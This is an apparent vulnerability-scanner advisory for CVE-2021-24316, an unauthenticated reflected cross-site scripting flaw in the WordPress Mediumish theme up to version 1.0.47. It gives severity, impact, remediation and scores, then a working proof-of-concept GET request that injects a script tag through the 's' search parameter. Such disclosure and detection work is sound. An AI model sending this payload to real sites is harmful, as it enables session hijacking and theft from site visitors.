| Title | WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress Mediumish Theme plugin (1.0.47 or higher) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.57424 |
| CVE ID | CVE-2021-24316 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve mediumish xss wordpress wpscan intrusive wowthemes vuln |
WordPress Mediumish theme 1.0.47 and prior contains an unauthenticated reflected cross-site scripting vulnerability. The ‘s’ GET parameter is not properly sanitized by the search feature before it is output back on the page.
GET /?post_type=post&s=%22%3E%3Cscript%3Ealert(/38FGjHtJ9c31e2E8wN1kEfaoefC/)%3C/script%3E+ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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